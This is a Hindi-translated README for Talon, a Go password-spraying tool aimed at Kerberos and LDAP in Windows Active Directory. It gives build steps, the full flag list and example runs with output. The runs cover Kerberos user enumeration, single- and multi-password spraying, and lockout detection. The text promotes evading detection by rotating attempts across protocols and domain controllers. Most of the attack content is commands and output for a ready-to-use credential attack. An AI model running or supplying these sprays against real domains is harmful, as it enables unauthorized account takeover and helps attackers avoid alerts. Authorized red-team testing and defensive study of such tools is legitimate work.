
एक पासवर्ड अनुमान लगाने वाला उपकरण जो विंडोज सक्रिय निर्देशिका वातावरण में केरबरोस और LDAP सेवाओं को लक्षित करता है।
Talon के नवीनतम संस्करण को देखने या कोई समस्या सबमिट करने के लिए, https://github.com/Tylous/Talon देखें।
Talon एक उपकरण है जिसे स्वचालित पासवर्ड अनुमान लगाने के हमलों को करने के लिए डिज़ाइन किया गया है, जबकि इसका पता न चले। Talon Kerberos का उपयोग करके यह पहचान सकता है कि कौन से उपयोगकर्ता मान्य हैं, उपयोगकर्ताओं की एक सूची को एन्यूमरेट कर सकता है। Talon Kerberos और LDAPS (LDAP Secure) सेवाओं के खिलाफ पासवर्ड अनुमान लगाने का हमला भी कर सकता है। Talon इन हमलों को करने के लिए एकल डोमेन नियंत्रक या एकाधिक का उपयोग कर सकता है, प्रत्येक प्रयास को डोमेन नियंत्रकों और सेवाओं (LDAP या Kerberos) के बीच यादृच्छिक करता है।
तकनीकों के बारे में अधिक जानकारी निम्नलिखित ब्लॉग पर पाई जा सकती है
अपने OS के लिए रिलीज़ से डाउनलोड करें
Talon को golang में विकसित किया गया था।
पहला कदम हमेशा की तरह रेपो को क्लोन करना है। Talon को कंपाइल करने से पहले आपको निर्भरताएँ स्थापित करनी होंगी। उन्हें स्थापित करने के लिए, निम्नलिखित कमांड चलाएँ:
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2
फिर इसे बनाएँ
go build Talon.go
$ ./Talon -h
Usage of ./Talon:
-A float
Authentication attempts per lockout period (default 3)
-D string
Fully qualified domain to use
-E Enumerates which users are valid
-H string
Domain controller to connect to
-Hostfile string
File containing the list of domain controllers to connect to
-K Test against Kerberos only
-L Test against LDAP only
-Lockout float
Account lockout period in minutes (default 60)
-O string
File to append the results to
-P string
Password to use
-Passfile string
File containing the list of passwords
-U string
Username to authenticate as
-Userfile string
File containing the list of usernames
-debug
Print debug statements
-sleep float
Time inbetween attempts (default 0.5)
उपयोगकर्ता एन्यूमरेशन मोड को -E फ़्लैग के साथ निष्पादित किया जा सकता है जो लक्ष्य KDC को केवल Kerberos TGT प्री-ऑथेंटिकेशन अनुरोध भेजेगा, हालांकि, यह अनुरोध एक ज्ञात खराब या अब समर्थित न होने वाले एन्क्रिप्शन प्रकार के साथ भेजा जाता है। Talon KDC द्वारा प्रतिक्रिया की जाँच करता है ताकि यह निर्धारित किया जा सके कि क्या वह KDC_ERR_ETYPE_NOSUPP के साथ प्रतिक्रिया करता है, जो इंगित करता है कि उपयोगकर्ता मौजूद है या KDC_ERR_C_PRINCIPAL_UNKNOWN यदि नहीं। Talon एक एंटरप्राइज़ में एकाधिक डोमेन नियंत्रकों के खिलाफ इस प्रकार की एन्यूमरेशन कर सकता है, जिसमें एकाधिक डोमेन नियंत्रकों को निर्दिष्ट करने के लिए -Hostfile कमांड का उपयोग किया जाता है, या -H का उपयोग करके एकल डोमेन नियंत्रक का उपयोग किया जाता है। इस तकनीक का उपयोग करने से कोई लॉगिन विफलता नहीं होगी, इसलिए यह किसी भी उपयोगकर्ता को लॉक नहीं करेगा।
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.195 STARLABS.LOCAL\asmith: = User Does Not Exist
[+] 172.16.144.185 STARLABS.LOCAL\ballen: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\bjohnson: = User Does Not Exist
[-] 172.16.144.195 STARLABS.LOCAL\bwayne: = User Does Not Exist
[+] 172.16.144.195 STARLABS.LOCAL\csnow: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\jtodd: = User Does Not Exist
[+] 172.16.144.186 STARLABS.LOCAL\hwells: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\wwest: = User's Account Locked
Talon Kerberos और LDAP का उपयोग करता है, जो दोनों प्रमाणीकरण के लिए सक्रिय निर्देशिका में एकीकृत हैं। Talon दो सेवाओं के बीच बारी-बारी से पासवर्ड अनुमान लगा सकता है, जिससे पासवर्ड हमले का ट्रैफ़िक दो प्रोटोकॉल में विभाजित हो जाता है। यह उत्पन्न होने वाली संभावित घटनाओं की संख्या को विभाजित करता है, जिसके परिणामस्वरूप अलर्ट की संभावना कम हो जाती है। Talon इसे एक कदम आगे ले जाता है, एक एंटरप्राइज़ में एकाधिक डोमेन नियंत्रकों के खिलाफ एक पासवर्ड हमले को वितरित करता है, -Hostfile का उपयोग करके, हर बार LDAP और Kerberos के बीच बारी-बारी से अस्पष्टता की एक अतिरिक्त परत बनाने के लिए। यदि आवश्यक हो तो -H कमांड में एकल डोमेन नियंत्रक प्रदान किया जा सकता है।
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed
[-] 172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed
[+] 172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success
[-] 172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed
Talon को किसी भी स्थिति में बहुमुखी होने के लिए डिज़ाइन किया गया है, जिसके परिणामस्वरूप, यदि केवल Kerberos उपलब्ध है, तो Talon को केवल Kerberos के खिलाफ हमला करने के लिए -K फ़्लैग का उपयोग करके या केवल LDAP के लिए -L फ़्लैग का उपयोग करके सेट किया जा सकता है।
Talon पासवर्ड अनुमान हमला करते समय प्रतिक्रियाओं को पढ़ने के लिए Kerberos और LDAP दोनों का उपयोग कर सकता है। Talon प्रत्येक पासवर्ड प्रयास से प्रतिक्रिया कोड पढ़कर एक सक्रिय पासवर्ड अनुमान हमले के दौरान खाता लॉकआउट का पता लगा सकता है। यह एक एंटरप्राइज़ में किसी भी अवांछित खाता लॉक को रोकने में मदद कर सकता है, जिससे आपको बिना पहचाने रहने में मदद मिलती है। हमले को छोड़ने या जारी रखने के लिए बस संकेत का पालन करें।
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-] 172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-] 172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:
Talon यह पता लगाने के लिए सुसज्जित है कि लक्षित डोमेन नियंत्रक सक्रिय हैं या अनुपलब्ध हो जाते हैं। यह सुनिश्चित करने में मदद करता है कि आप समय बर्बाद किए बिना सटीक परिणाम प्राप्त कर रहे हैं।
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] Do you want to continue.[y/n]:
Talon में एक फ़ाइल (-Passfile) में संभावित पासवर्डों की सूची के खिलाफ पासवर्ड अनुमान लगाने की क्षमता है। चूंकि यह बहुत खतरनाक हो सकता है, Talon में निर्दिष्ट समय (-Lockout) के लिए एक निश्चित संख्या में प्रयासों (-A) के बाद रुकने के लिए नियंत्रण हैं। कृपया ध्यान दें कि पासवर्ड नीति जानना महत्वपूर्ण है, इससे पहले कि आप इन विकल्पों का उपयोग करें, क्योंकि यदि आपके पास पासवर्ड नीति नहीं है तो कई पासवर्ड प्रयासों को कतारबद्ध करने से खाते लॉक हो सकते हैं।
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[*] Warning: Selection option will spray multiple passwords and risk locking accounts. Do you want to continue? [y/n]: y
03-10-2022 15:58:21: Using password: Password123
[-] 172.16.144.185 STARLABS.LOCAL\admin:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = Failed
03-10-2022 15:58:26: Using password: Spring2022
[-] 172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = Failed
Hit timeout period - Sleeping for 45 minutes...
Will resume at 03-10-2022 16:43:35